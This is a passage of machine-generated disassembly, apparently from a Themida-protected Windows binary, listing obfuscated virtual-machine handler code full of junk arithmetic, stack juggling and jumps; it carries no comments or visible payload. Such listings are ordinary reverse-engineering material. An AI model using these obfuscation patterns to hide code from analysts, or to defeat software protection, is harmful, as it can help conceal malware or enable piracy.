; ---------------------------------------------------------------------------
loc_586B35: ; CODE XREF: sub_584787+11BDj
push eax
push 109A6CE9h
pop eax
add eax, 0FFFFFFFFh
add eax, 73E17196h
and eax, 1A867401h
push ebp
jmp loc_586F4F
; ---------------------------------------------------------------------------
loc_586B51: ; CODE XREF: sub_584787+3DEFj
push edi
mov edi, 0D4D0A126h
sub edx, edi
mov edi, [esp+4+var_4]
add esp, 4
jmp loc_584A0A
; ---------------------------------------------------------------------------
loc_586B64: ; CODE XREF: sub_584787+2E18j
sub cl, 43h
mov dl, cl
pop ecx
add ch, dl
pop edx
sub dh, 0B5h
sub dh, 5Ch
add dh, ch
add dh, 5Ch
add dh, 0B5h
mov ecx, [esp-8+arg_4]
push edi
mov edi, esp
add edi, 4
add edi, 4
push edi
jmp loc_5893B2
; ---------------------------------------------------------------------------
loc_586B93: ; DATA XREF: Themida_:00584364o
sub esp, 4
mov [esp+4+var_4], ebx
jmp loc_584C2D
; ---------------------------------------------------------------------------
loc_586B9E: ; CODE XREF: sub_584787+B2Aj
add esi, eax
pop eax
push 1C9Bh
mov [esp+0], esi
push [esp+4Ah+var_46]
push [esp+4Eh+var_4E]
mov esi, [esp+52h+var_54+2]
add esp, 4
add esp, 4
pop dword ptr [esp+0]
mov esp, [esp+46h+var_46]
jmp loc_584D16
; ---------------------------------------------------------------------------
loc_586BCA: ; CODE XREF: sub_584787+1714j
mov ebx, [esp+14h+var_14]
push edi
mov edi, esp
push ebp
mov ebp, 0E844E16h
xor ebp, 2836129Fh
jmp loc_5880BF
; ---------------------------------------------------------------------------
loc_586BE1: ; CODE XREF: sub_584787+79A0j
sub esi, edi
jmp loc_58874A
; ---------------------------------------------------------------------------
loc_586BE8: ; CODE XREF: sub_584787+4597j
not [esp+1Ch+var_1C]
pop ebp
dec ebp
push ecx
push ebp
push ebx
jmp loc_58EFF5
; ---------------------------------------------------------------------------
loc_586BF5: ; CODE XREF: sub_584787+7C07j
inc [esp+24h+var_26+2]
pop edi
add edi, 3BDE1E50h
jmp loc_58F722
; ---------------------------------------------------------------------------
loc_586C04: ; CODE XREF: sub_584787+C04j
xor dh, 87h
xor bh, dh
pop edx
jmp loc_5888D6
; ---------------------------------------------------------------------------
loc_586C0F: ; CODE XREF: sub_584787+169Fj
xor eax, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], eax
xor eax, [esp+0Ch+var_C]
jmp loc_585B60
; ---------------------------------------------------------------------------
loc_586C1D: ; DATA XREF: Themida_:005841A0o
push [esp+0Ch+var_C]
mov eax, [esp+10h+var_10]
add esp, 4
push ebx
push esp
mov ebx, [esp+14h+var_14]
jmp loc_589D9B
; ---------------------------------------------------------------------------
loc_586C33: ; CODE XREF: sub_584787+A519j
pop esi
add edi, ebp
jmp loc_5897A9
; ---------------------------------------------------------------------------
loc_586C3B: ; CODE XREF: sub_584787+1600j
mov ebx, 4
sub eax, 3B903E1Ah
add eax, ebx
add eax, 3B903E1Ah
pop ebx
xor eax, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], eax
xor eax, [esp-0Ch+arg_8]
jmp loc_58F49C
; ---------------------------------------------------------------------------
loc_586C5B: ; CODE XREF: sub_584787+66C2j
push ecx
push 43E5h
mov [esp-4+arg_0], esi
jmp loc_58C06E
; ---------------------------------------------------------------------------
loc_586C69: ; CODE XREF: sub_584787+8AE6j
pop ecx
xchg ebx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
jmp loc_58AE00
; ---------------------------------------------------------------------------
loc_586C75: ; CODE XREF: sub_584787+723Cj
push edx
push esp
pop edx
add edx, 4
jmp loc_58C94F
; ---------------------------------------------------------------------------
loc_586C83: ; CODE XREF: sub_584787+9064j
push ecx
mov ecx, esp
push edi
mov edi, 2C2C68A2h
not edi
push edx
mov edx, 337A7E18h
or edx, 77B2928h
jmp loc_58856F
; ---------------------------------------------------------------------------
loc_586C9F: ; DATA XREF: Themida_:00584408o
push [esp+8+var_8]
pop eax
sub esp, 4
mov [esp+0Ch+var_C], eax
sub esp, 4
mov [esp+10h+var_10], esp
add [esp+10h+var_10], 4
pop eax
push esi
mov esi, 4
push ebx
mov ebx, 77174267h
add eax, ebx
pop ebx
sub eax, 5B3E58A5h
add eax, esi
jmp loc_58DEA0
; ---------------------------------------------------------------------------
loc_586CD2: ; CODE XREF: sub_584787+458Cj
push 7690h
mov [esp+14h+var_14], ebx
jmp loc_58F9E4
; ---------------------------------------------------------------------------
loc_586CDF: ; CODE XREF: sub_584787+484Ej
push dx
sub byte ptr [esp+16h+var_18+2], 0FFh
pop dx
shl dl, 2
dec dl
dec dl
sub esp, 2
mov word ptr [esp+18h+var_18], ax
mov al, 0D5h
jmp loc_5851B0
; ---------------------------------------------------------------------------
loc_586CFF: ; CODE XREF: sub_584787+8C6Ej
add esp, 4
sub esp, 4
jmp loc_585ED3
; ---------------------------------------------------------------------------
loc_586D0D: ; CODE XREF: sub_584787+8E3Ej
pop esp
mov word ptr [esp+14h+var_14], cx
movzx cx, al
push cx
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_586D1E: ; CODE XREF: sub_584787+403Ej
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
sub ebx, 4
jmp loc_58896D
; ---------------------------------------------------------------------------
loc_586D2F: ; CODE XREF: sub_584787+BB90j
add ebp, ecx
mov ecx, [esp+1Ah+var_1C+2]
add esp, 4
xchg ebp, [esp+16h+var_18+2]
pop esp
or word ptr [esp+12h+var_14+2], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_586D48: ; CODE XREF: sub_584787+4A37j
push ebx
mov ebx, 4AA676B2h
dec ebx
shr ebx, 7
dec ebx
xor ebx, 23457A48h
jmp loc_58DAB8
; ---------------------------------------------------------------------------
loc_586D5E: ; CODE XREF: sub_584787+9CD5j
movzx eax, al
mov dx, word ptr [esp+1Ah+var_1C+2]
push esi
mov esi, esp
add esi, 4
sub esp, 4
jmp loc_58E6B0
; ---------------------------------------------------------------------------
loc_586D79: ; CODE XREF: sub_584787+747Cj
xor ecx, edi
pop edi
push ecx
not dword ptr [esp+0]
mov ecx, [esp+0]
add esp, 4
jmp loc_58B550
; ---------------------------------------------------------------------------
loc_586D8E: ; CODE XREF: Themida_:00590373j
add esi, ebp
pop ebp
add ebp, esi
mov esi, [esp+1Ah+var_1C+2]
jmp loc_58B430
; ---------------------------------------------------------------------------
loc_586D9B: ; CODE XREF: sub_584787+1FBAj
sub esi, 14020456h
add esi, eax
add esi, 14020456h
jmp loc_58F1E6
; ---------------------------------------------------------------------------
loc_586DAE: ; CODE XREF: sub_584787+18BAj
mov dh, 0ADh
sub bh, dh
pop dx
and cl, bh
pop ebx
inc cl
jmp loc_589C67
; ---------------------------------------------------------------------------
loc_586DBE: ; CODE XREF: sub_584787+39CDj
xchg esi, [esp+2Ch+var_2C]
pop esp
mov [esp+0], ecx
jmp loc_586FC2
; ---------------------------------------------------------------------------
loc_586DCA: ; CODE XREF: sub_584787+1EC6j
pop esp
jmp loc_58B6BD
; ---------------------------------------------------------------------------
loc_586DD0: ; CODE XREF: sub_584787+43BAj
pop ecx
jmp loc_58DECB
; ---------------------------------------------------------------------------
loc_586DD6: ; DATA XREF: Themida_:005843F4o
mov ecx, [esp+58h+var_58]
sub esp, 4
mov [esp+5Ch+var_5C], esi
mov esi, esp
push eax
jmp sub_58FF63
; ---------------------------------------------------------------------------
loc_586DEA: ; CODE XREF: sub_584787+AC9Cj
mov ecx, [esp+60h+var_60]
add esp, 4
sub esp, 4
mov [esp+60h+var_60], ebx
mov ebx, esp
push ebp
mov ebp, 4
jmp loc_584DC3
; ---------------------------------------------------------------------------
loc_586E03: ; CODE XREF: sub_584787+21C7j
add edi, 4
add edi, 4
xchg edi, [esp+1Ah+var_1C+2]
pop esp
push 2D38h
mov [esp+1Ah+var_1C+2], edx
mov edx, esp
jmp loc_58923A
; ---------------------------------------------------------------------------
loc_586E22: ; CODE XREF: sub_584787+81Cj
mov edx, 0D179DEFDh
sub ecx, edx
pop edx
add ebx, ecx
pop ecx
push esi
mov esi, 49954199h
add esi, 7D5921B9h
not esi
shl esi, 3
jmp loc_589821
; ---------------------------------------------------------------------------
loc_586E43: ; CODE XREF: sub_584787+16Cj
mov ecx, [esp+10h+var_10]
add esp, 4
add eax, 5ADD58A9h
jmp loc_589F33
; ---------------------------------------------------------------------------
loc_586E56: ; CODE XREF: sub_584787+477Ej
or ah, 0F1h
push cx
mov cl, 94h
add ah, cl
pop cx
xor ah, 94h
sub bl, ah
mov eax, [esp+0Ch+var_C]
add esp, 4
sub bl, al
add bl, 1Dh
push cx
mov cl, 2Bh
sub bl, cl
mov cx, word ptr [esp+0Ah+var_C+2]
push edi
mov edi, esp
add edi, 4
jmp loc_58740D
; ---------------------------------------------------------------------------
loc_586E89: ; CODE XREF: sub_584787+3302j
push ebx
mov ebx, 4B9D2FB3h
push 644Eh
mov [esp+16h+var_18+2], ebp
mov ebp, 33E36CC7h
add eax, 4FAD2A21h
jmp loc_587477
; ---------------------------------------------------------------------------
loc_586EA6: ; CODE XREF: sub_584787+983Dj
add esp, 4
add eax, ebp
mov ebp, [esp+12h+var_14+2]
add esp, 4
push eax
mov eax, esp
add eax, 4
sub eax, 4
push eax
push [esp+16h+var_14+2]
pop eax
pop [esp+16h+var_18+2]
jmp loc_58F345
; ---------------------------------------------------------------------------
loc_586ECD: ; CODE XREF: sub_584787+7CF0j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_586ED2: ; CODE XREF: sub_584787+ACD8j
pop eax
add ebp, 4
jmp loc_589B58
; ---------------------------------------------------------------------------
loc_586EDE: ; CODE XREF: sub_584787+604Aj
shl ebx, 8
jmp loc_588751
; ---------------------------------------------------------------------------
loc_586EE6: ; CODE XREF: sub_584787+A4A0j
add [esp+0Eh+var_10+2], 4
pop ebp
add ebp, 4
push 72D8h
mov [esp+0Eh+var_10+2], ebx
mov ebx, 4
push ebx
mov ebx, 2B8A354Ch
not ebx
xor ebx, 662C77D8h
and ebx, 60AD4ADCh
sub ebx, 0F8DD913Dh
add ebp, ebx
pop ebx
jmp loc_5866F0
; ---------------------------------------------------------------------------
loc_586F20: ; CODE XREF: sub_584787+6398j
or dh, 4Fh
and dh, 6Eh
add dh, 0FEh
push ebx
mov bl, 0C0h
jmp loc_589F3A
; ---------------------------------------------------------------------------
loc_586F31: ; CODE XREF: sub_584787+6B6j
pop ecx
jmp loc_587F58
; ---------------------------------------------------------------------------
loc_586F37: ; CODE XREF: sub_584787+9749j
push ebx
mov bl, 0ADh
jmp loc_58D1D5
; ---------------------------------------------------------------------------
loc_586F3F: ; CODE XREF: sub_584787+9CABj
add ebp, 84B1E793h
add [esp+20h+var_1C], ebp
pop ebp
jmp loc_58D9EA
; ---------------------------------------------------------------------------
loc_586F4F: ; CODE XREF: sub_584787+23C5j
mov ebp, 10650EF0h
jmp loc_586298
; ---------------------------------------------------------------------------
loc_586F59: ; CODE XREF: sub_584787+473Cj
push ebx
jmp loc_59026F
; ---------------------------------------------------------------------------
loc_586F5F: ; CODE XREF: sub_584787+BD4Aj
pop ebp
sub [esp+arg_4], edi
pop edi
pop ebp
pop dword ptr [edi+40h]
add dword ptr [edi+40h], 26DD18BAh
jmp loc_588FF8
; ---------------------------------------------------------------------------
loc_586F75: ; CODE XREF: sub_584787+953Ej
sub eax, 2F69A033h
add edi, eax
pop eax
add edi, 4
xchg edi, [esp+0]
pop esp
add esp, 4
jmp loc_58CFC3
; ---------------------------------------------------------------------------
loc_586F8F: ; CODE XREF: sub_584787+34DBj
mov eax, 52A85972h
jmp loc_587C20
; ---------------------------------------------------------------------------
loc_586F99: ; CODE XREF: sub_590170+3Ej
mov edx, ebx
mov ebx, [esp-18h+arg_12+2]
push eax
mov eax, esp
push edi
mov edi, 7977331Dh
sub edi, 1
jmp loc_58FF11
; ---------------------------------------------------------------------------
loc_586FB2: ; CODE XREF: sub_584787+B3B2j
or edx, ebx
mov ebx, [esp+0]
add esp, 4
jmp loc_58C262
; ---------------------------------------------------------------------------
loc_586FC2: ; CODE XREF: sub_584787+263Ej
push esp
jmp loc_58650D
; ---------------------------------------------------------------------------
loc_586FC8: ; CODE XREF: sub_584787+9724j
add eax, 4
jmp loc_58BBCF
; ---------------------------------------------------------------------------
loc_586FD2: ; CODE XREF: sub_584787+BEA6j
pop ecx
xchg ebx, [esp+0]
jmp loc_58AF81
; ---------------------------------------------------------------------------
loc_586FDB: ; CODE XREF: sub_584787+B545j
or [esp+0], al
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_586FE4: ; CODE XREF: sub_584787+6C55j
add esp, 4
pop dword ptr [esp+0]
mov esp, [esp+24h+var_26+2]
mov word ptr [esp+24h+var_26+2], ax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_586FF6: ; CODE XREF: sub_584787+15D5j
or edx, eax
shl edx, 1
push ecx
jmp loc_58B0E5
; ---------------------------------------------------------------------------
loc_587000: ; CODE XREF: sub_584787+539Fj
mov dx, word ptr [esp-4+arg_0]
jmp loc_58663E
; ---------------------------------------------------------------------------
loc_587009: ; CODE XREF: sub_584787+933Aj
pop ebx
or ebx, eax
mov eax, [esp-8+arg_4]
add esp, 4
add ebx, 8808DACBh
push 4944h
mov [esp-8+arg_4], esi
mov esi, ebx
jmp loc_58C63F
; ---------------------------------------------------------------------------
loc_587027: ; CODE XREF: sub_584787+7D39j
and ch, al
pop eax
dec ch
push dx
mov dl, 81h
add ch, dl
pop dx
jmp loc_58D6D1
; ---------------------------------------------------------------------------
loc_587039: ; CODE XREF: sub_584787+5CC0j
push 6DD8h
mov [esp-8+arg_4], ebx
push esp
pop ebx
push ecx
mov ecx, 70175055h
sub ecx, 70175051h
jmp loc_584F44
; ---------------------------------------------------------------------------
loc_587054: ; CODE XREF: sub_584787+A3A6j
pop ebx
add ebx, ecx
jmp loc_590137
; ---------------------------------------------------------------------------
loc_58705C: ; CODE XREF: sub_584787+65F9j
mov [esp-8+arg_4], edx
push esp
jmp loc_587C9B
; ---------------------------------------------------------------------------
loc_587065: ; CODE XREF: sub_584787+7E03j
sub edi, ecx
mov ecx, [esp-4+arg_0]
add esp, 4
jmp locret_58D600
; ---------------------------------------------------------------------------
loc_587075: ; CODE XREF: sub_584787+5545j
push eax
mov eax, esp
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
pop ebp
xchg eax, [esp-4+arg_0]
jmp loc_5903DD
; ---------------------------------------------------------------------------
loc_58708E: ; CODE XREF: sub_584787+9D54j
inc edi
neg edi
shl edi, 6
shr edi, 5
xor edi, 61ABD6ACh
mov ecx, edi
pop edi
shl ecx, 7
jmp loc_587EC0
; ---------------------------------------------------------------------------
loc_5870A8: ; CODE XREF: sub_584787+54A2j
add eax, ebx
push edi
push ebx
mov ebx, 72457FADh
mov edi, ebx
pop ebx
jmp loc_59038E
; ---------------------------------------------------------------------------
loc_5870B9: ; CODE XREF: sub_584787+AEECj
mov dh, 0B1h
add dh, 0A0h
add dh, 0Fh
sub bl, dh
mov edx, [esp-4+arg_0]
add esp, 4
movzx eax, al
push dword ptr [edi+eax*4]
push esi
push edi
push edx
jmp loc_58DAC6
; ---------------------------------------------------------------------------
loc_5870DA: ; CODE XREF: sub_584787+7080j
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5870E6: ; CODE XREF: sub_584787+5239j
not esi
jmp loc_585241
; ---------------------------------------------------------------------------
loc_5870ED: ; CODE XREF: sub_584787+230Ej
push [esp+2Ah+var_2C+2]
pop esi
push 7810h
mov [esp+2Eh+var_30+2], esi
push esp
mov esi, [esp+32h+var_34+2]
add esp, 4
add esi, 4
push ebp
mov ebp, 4
sub esi, 74AA179Ah
add esi, ebp
add esi, 74AA179Ah
pop ebp
xor esi, [esp+2Eh+var_30+2]
xor [esp+2Eh+var_30+2], esi
xor esi, [esp+2Eh+var_30+2]
mov esp, [esp+2Eh+var_30+2]
jmp loc_58894E
; ---------------------------------------------------------------------------
loc_58712C: ; DATA XREF: Themida_:00584308o
lodsd
xor eax, ebx
jmp loc_584F6E
; ---------------------------------------------------------------------------
loc_587134: ; CODE XREF: sub_584787+8889j
mov ah, dh
mov ch, ah
pop eax
pop edx
jmp loc_58FA1B
; ---------------------------------------------------------------------------
loc_58713F: ; CODE XREF: sub_584787+73F2j
neg edx
shl edx, 8
shl edx, 5
add edx, 0A9D70002h
mov eax, edx
pop edx
add edx, 584378E0h
add edx, 6BB50099h
jmp loc_58D02D
; ---------------------------------------------------------------------------
loc_587161: ; CODE XREF: sub_584787+989Bj
pop esp
mov [esp+1Eh+var_20+2], ebp
push 1
pop ebp
and eax, ebp
mov ebp, [esp+1Eh+var_20+2]
sub esp, 4
mov [esp+0], edx
mov edx, esp
jmp loc_58E6FC
; ---------------------------------------------------------------------------
loc_587180: ; DATA XREF: Themida_:00584388o
mov sp, [esp+0]
jmp loc_58DCF3
; ---------------------------------------------------------------------------
loc_587189: ; DATA XREF: Themida_:0058433Co
mov cx, [esp+0]
push ecx
mov ecx, esp
sub esp, 4
mov [esp+2Ah+var_2C+2], eax
mov eax, 4
jmp loc_5854CF
; ---------------------------------------------------------------------------
loc_5871A3: ; CODE XREF: sub_584787+E89j
mov ebp, [esp-4+arg_0]
add esp, 4
xor ebx, [esp-8+arg_4]
xor [esp-8+arg_4], ebx
xor ebx, [esp-8+arg_4]
pop esp
jmp loc_58475E
; ---------------------------------------------------------------------------
loc_5871B8: ; CODE XREF: sub_584787+5E62j
push eax
push esi
jmp loc_58A998
; ---------------------------------------------------------------------------
loc_5871BF: ; DATA XREF: Themida_:00584310o
mov cx, word ptr [esp-4+arg_0]
push 6946h
mov [esp+0], esi
mov esi, esp
push edx
mov edx, 4
sub esi, 214F6674h
add esi, edx
push ebx
jmp loc_58B5D5
; ---------------------------------------------------------------------------
loc_5871E1: ; CODE XREF: sub_584787+3078j
add edi, 0D73FDEDEh
add ecx, edi
pop edi
add ecx, 4
jmp loc_584F3C
; ---------------------------------------------------------------------------
dw 2489h
; ---------------------------------------------------------------------------
and al, 56h
mov esi, 4
add [esp+4], esi
pop esi
mov edx, [esp+0]
push 4577h
mov [esp+4+var_4], edx
jmp loc_58F428
; ---------------------------------------------------------------------------
loc_587210: ; CODE XREF: sub_584787+B892j
add esp, 4
mov eax, [esp+0]
jmp loc_58FDD8
; ---------------------------------------------------------------------------
loc_58721E: ; CODE XREF: sub_584787+8FF9j
mov ebp, 610D0AF7h
jmp loc_58F5DB
; ---------------------------------------------------------------------------
loc_587228: ; CODE XREF: sub_584787+83C9j
push ecx
push dword ptr [esp+4]
pop ecx
pop [esp+4+var_4]
pop esp
add esp, 4
push 2669h
mov [esp-4+arg_0], edi
push 0B7Eh
mov [esp+0], ebp
mov ebp, 320F41C1h
mov edi, 0CDF1BE3Fh
add edi, ebp
pop ebp
and eax, edi
jmp loc_588AEA
; ---------------------------------------------------------------------------
loc_58725C: ; CODE XREF: sub_584787+1DA0j
mov ecx, [esp+10h+var_10]
add esp, 4
add esp, 4
or eax, eax
jz loc_5891C3
push dword ptr [edi+28h]
jmp loc_584693
; ---------------------------------------------------------------------------
loc_58727B: ; CODE XREF: sub_584787+6367j
add ah, 0E0h
sub bl, 0C3h
add bl, ah
jmp loc_585F9B
; ---------------------------------------------------------------------------
loc_587288: ; CODE XREF: sub_584787+5A59j
add esp, 4
add edi, 4
add edi, 4
jmp loc_5892BA
; ---------------------------------------------------------------------------
loc_58729C: ; CODE XREF: sub_584787+7451j
mov esp, [esp+8+var_8]
jmp loc_585E49
; ---------------------------------------------------------------------------
loc_5872A4: ; CODE XREF: sub_584787+8769j
add esp, 4
xor ecx, 443E4530h
jmp loc_588B99
; ---------------------------------------------------------------------------
loc_5872B2: ; CODE XREF: sub_584787+6A19j
add esp, 4
push small 62CBh
mov word ptr [esp+2+var_4+2], bx
jmp loc_58A158
; ---------------------------------------------------------------------------
loc_5872C5: ; CODE XREF: sub_584787+71EBj
xchg ebx, [esp+2+var_4+2]
mov esp, [esp+2+var_4+2]
and eax, ebx
push [esp+2+var_4+2]
pop ebx
add esp, 4
shr eax, 18h
xor eax, ecx
jmp loc_58574C
; ---------------------------------------------------------------------------
loc_5872E1: ; CODE XREF: sub_584787+19F9j
push 7975h
mov [esp+0], ebx
jmp loc_58A5EE
; ---------------------------------------------------------------------------
loc_5872EE: ; CODE XREF: sub_584787+1290j
push 22A5h
jmp loc_584B5F
; ---------------------------------------------------------------------------
loc_5872F8: ; CODE XREF: sub_584787+7C5Fj
; sub_584787+8E60j
push ecx
jmp sub_58FF73
; ---------------------------------------------------------------------------
loc_5872FE: ; CODE XREF: sub_584787+23Dj
add esp, 4
push 6513h
mov [esp+26h+var_26], esi
mov esi, esp
add esi, 4
jmp loc_58F372
; ---------------------------------------------------------------------------
loc_587319: ; CODE XREF: sub_584787+416Aj
sub al, dh
add al, 0B9h
mov edx, [esp+26h+var_26]
add esp, 4
push edx
mov dh, 3Fh
add al, dh
pop edx
add al, bl
sub al, 3Fh
add al, 0F4h
jmp loc_58BCE3
; ---------------------------------------------------------------------------
loc_587334: ; CODE XREF: sub_584787+4EC2j
mov eax, esp
push esi
mov esi, 4
add eax, esi
pop esi
jmp loc_58F290
; ---------------------------------------------------------------------------
loc_587344: ; CODE XREF: sub_584787+1BBBj
pop [esp+4Eh+var_4E]
pop esp
div cl
movzx cx, ah
push small 74C2h
mov [esp+0], cx
movzx cx, al
push cx
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_587362: ; CODE XREF: sub_584787+9161j
add ecx, ebp
pop ebp
add ecx, 2
jmp loc_58806C
; ---------------------------------------------------------------------------
loc_58736D: ; CODE XREF: sub_584787+3CADj
add ecx, esi
mov esi, [esp+0]
add esp, 4
not ecx
shr ecx, 2
xor ecx, 1B1E543Bh
add ecx, 30DD43EAh
sub esi, ecx
pop ecx
and esi, 62A221C8h
push eax
mov eax, 0FFFFFFFFh
sub esi, eax
pop eax
xor esi, 20A0214Bh
sub edx, esi
pop esi
xchg edx, [esp+0]
pop esp
mov word ptr [esp+3Ah+var_3C+2], dx
push ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5873B4: ; CODE XREF: sub_584787+1DCCj
sub eax, ebx
jmp loc_58F1CC
; ---------------------------------------------------------------------------
loc_5873BB: ; CODE XREF: sub_584787+3EC1j
mov cl, 0C5h
sub al, 39h
add al, cl
jmp loc_58EFEA
; ---------------------------------------------------------------------------
loc_5873C6: ; CODE XREF: sub_584787+437Bj
push edi
mov edi, 4
add ecx, edi
pop edi
xchg ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
add esp, 4
shr eax, 10h
xor eax, ecx
jmp loc_58B116
; ---------------------------------------------------------------------------
loc_5873E5: ; CODE XREF: sub_584787+58D3j
push ebx
push dword ptr [esp+4]
pop ebx
pop [esp+4+var_4]
mov esp, [esp+0]
push edx
mov edx, esp
add edx, 4
jmp loc_58D1BF
; ---------------------------------------------------------------------------
loc_5873FF: ; CODE XREF: sub_584787+106Cj
pop ecx
push 680h
mov [esp+1Ch+var_1C], edx
jmp sub_590170
; ---------------------------------------------------------------------------
loc_58740D: ; CODE XREF: sub_584787+26FDj
add edi, 2
xchg edi, [esp+0Eh+var_10+2]
pop esp
push cx
mov ch, 1Eh
sub bl, 4Ah
add bl, ch
add bl, 4Ah
pop cx
movzx eax, al
jmp loc_58EF6A
; ---------------------------------------------------------------------------
loc_58742A: ; CODE XREF: sub_584787+1DB4j
xor [esp+8+var_8], eax
jmp loc_58D67D
; ---------------------------------------------------------------------------
loc_587432: ; CODE XREF: sub_584787+91A4j
mov ebp, 4
add eax, ebp
mov ebp, [esp+8+var_8]
push ebp
mov ebp, esp
push eax
mov eax, 628068EDh
add eax, 41313899h
and eax, 20E03ECDh
add eax, 0DF5FDF80h
jmp loc_58FBE5
; ---------------------------------------------------------------------------
loc_587459: ; CODE XREF: sub_584787+3423j
push ebx
mov bh, 95h
xor bh, 0F3h
sub dh, 0AAh
sub dh, 0C0h
jmp loc_584D2F
; ---------------------------------------------------------------------------
loc_58746A: ; CODE XREF: sub_584787-AFj
and edi, 7761142Eh
not edi
jmp loc_58A7A4
; ---------------------------------------------------------------------------
loc_587477: ; CODE XREF: sub_584787+271Aj
sub eax, ebp
jmp loc_5867C6
; ---------------------------------------------------------------------------
loc_58747E: ; CODE XREF: sub_584787+1B3j
inc ah
xor ah, 0C4h
sub cl, ah
push [esp+1Ah+var_1C+2]
jmp loc_58A080
; ---------------------------------------------------------------------------
loc_58748D: ; CODE XREF: sub_584787+2AEj
mov [esp+36h+var_38+2], esi
push 179h
mov [esp+3Ah+var_3C+2], esp
add [esp+3Ah+var_3C+2], 4
pop esi
push 6E90h
mov [esp+3Ah+var_3C+2], edx
mov edx, 4
add esi, 0B18572Dh
add esi, edx
sub esi, 0B18572Dh
mov edx, [esp+3Ah+var_3C+2]
add esp, 4
add esi, 2
sub esp, 4
mov [esp+3Ah+var_3C+2], esi
push [esp+3Ah+var_38+2]
jmp loc_58C1AA
; ---------------------------------------------------------------------------
loc_5874D3: ; CODE XREF: sub_584787+698Aj
pop si
sub si, 310Dh
jmp loc_588C9C
; ---------------------------------------------------------------------------
loc_5874DF: ; CODE XREF: sub_584787+2E20j
mov [esp+3Ch+var_3C], esi
push ebx
mov ebx, 6CC8131Eh
shr ebx, 3
not ebx
shr ebx, 1
sub ebx, 1AD759Fh
mov esi, ebx
jmp loc_587DAE
; ---------------------------------------------------------------------------
loc_5874FC: ; CODE XREF: sub_584787+84D4j
mov eax, [esp+40h+var_42+2]
jmp loc_58DEDD
; ---------------------------------------------------------------------------
loc_587504: ; CODE XREF: sub_584787+45E6j
add esp, 4
mov edx, 10032F26h
xor edx, ebp
pop ebp
push 2230h
mov [esp+3Ch+var_3C], edi
jmp loc_59070D
; ---------------------------------------------------------------------------
loc_58751C: ; CODE XREF: sub_584787+3F1Fj
mov eax, [esp+3Ch+var_3C]
jmp loc_5867B9
; ---------------------------------------------------------------------------
loc_587524: ; CODE XREF: sub_584787+1DEAj
mov eax, [esp+0]
jmp loc_58E5D3
; ---------------------------------------------------------------------------
loc_58752C: ; CODE XREF: sub_584787+AB5Aj
mov esi, edi
pop edi
shl esi, 6
xor esi, 69D5290Ah
dec esi
sub esi, 6FB31DECh
add esi, 0E538AD87h
xor ecx, esi
jmp loc_584CB1
; ---------------------------------------------------------------------------
loc_58754C: ; CODE XREF: sub_584787+234Cj
add esp, 4
jmp loc_58C9FA
; ---------------------------------------------------------------------------
loc_587554: ; CODE XREF: sub_584787+5BAFj
mov ah, ch
mov ch, byte ptr [esp+1Ah+var_18+2]
mov byte ptr [esp+1Ah+var_18+2], ah
push [esp+1Ah+var_1C+2]
pop eax
jmp loc_58A612
; ---------------------------------------------------------------------------
loc_587567: ; CODE XREF: sub_584787+7717j
push 800h
pop ecx
and eax, ecx
jmp loc_58BC14
; ---------------------------------------------------------------------------
loc_587574: ; CODE XREF: sub_584787+95E0j
add eax, 60AB68C6h
sub eax, 232E5243h
add eax, edi
add eax, 232E5243h
sub eax, 60AB68C6h
jmp loc_589E22
; ---------------------------------------------------------------------------
loc_58758F: ; CODE XREF: sub_584787+9CFEj
shl ch, 2
push edx
push ecx
mov cl, 0C3h
shl cl, 6
or cl, 7Dh
add cl, 45h
jmp loc_586B64
; ---------------------------------------------------------------------------
loc_5875A4: ; CODE XREF: sub_584787+A77j
sub esp, 4
jmp loc_5874DF
; ---------------------------------------------------------------------------
loc_5875AC: ; CODE XREF: sub_584787+6F12j
push [esp+52h+var_4E]
jmp loc_58FE24
; ---------------------------------------------------------------------------
loc_5875B5: ; CODE XREF: sub_584787+91ACj
mov ecx, [esp+56h+var_58+2]
sub esp, 4
mov [esp+5Ah+var_5C+2], ebp
mov ebp, esp
push eax
mov eax, 374C33A3h
add eax, 1CC12A79h
shr eax, 4
shl eax, 3
jmp loc_58B922
; ---------------------------------------------------------------------------
loc_5875D9: ; CODE XREF: sub_584787+1162j
push 4081h
mov [esp+1Eh+var_20+2], edx
push 28EEh
mov [esp+0], ebx
mov ebx, 789E3722h
mov edx, 25166E1Eh
xor edx, ebx
pop ebx
add eax, edx
pop edx
jmp loc_58B47D
; ---------------------------------------------------------------------------
loc_5875FE: ; CODE XREF: sub_584787+865Ej
dec ebp
push esi
mov esi, 1A8F1311h
add ebp, esi
pop esi
add edi, ebp
jmp loc_584620
; ---------------------------------------------------------------------------
loc_58760F: ; CODE XREF: sub_584787+7AD6j
mov ebp, esi
pop esi
mov eax, ebp
pop ebp
jmp loc_585FA4
; ---------------------------------------------------------------------------
loc_58761A: ; CODE XREF: sub_58F6F1+A2Fj
mov edx, [esp+12h+var_14+2]
push ecx
jmp loc_5893E0
; ---------------------------------------------------------------------------
loc_587623: ; CODE XREF: sub_584787+1CDBj
sub dl, bl
pop ebx
pop eax
shl dl, 7
add dl, 12h
jmp loc_584BEB
; ---------------------------------------------------------------------------
loc_587632: ; CODE XREF: sub_584787+869Dj
xor eax, 12D86D98h
add eax, 0AED3239Ah
sub ecx, eax
pop eax
add ecx, 0FFFFFFFFh
add ecx, 6CBFA3D1h
push eax
mov eax, 0EDC7F700h
sub ecx, eax
pop eax
sub eax, 13A6343Dh
sub eax, ecx
add eax, 13A6343Dh
pop ecx
push 458h
jmp loc_587CEC
; ---------------------------------------------------------------------------
loc_587668: ; CODE XREF: sub_584787+65A8j
sub esp, 4
mov [esp+0], edi
jmp loc_5892E6
; ---------------------------------------------------------------------------
loc_587673: ; CODE XREF: sub_584787+1590j
push ebx
mov ebx, 58B07C6Fh
sub ebx, 27785586h
add ebx, 62182E0Ah
sub ebx, 0A5F74B3h
sub ebx, 6EC640A8h
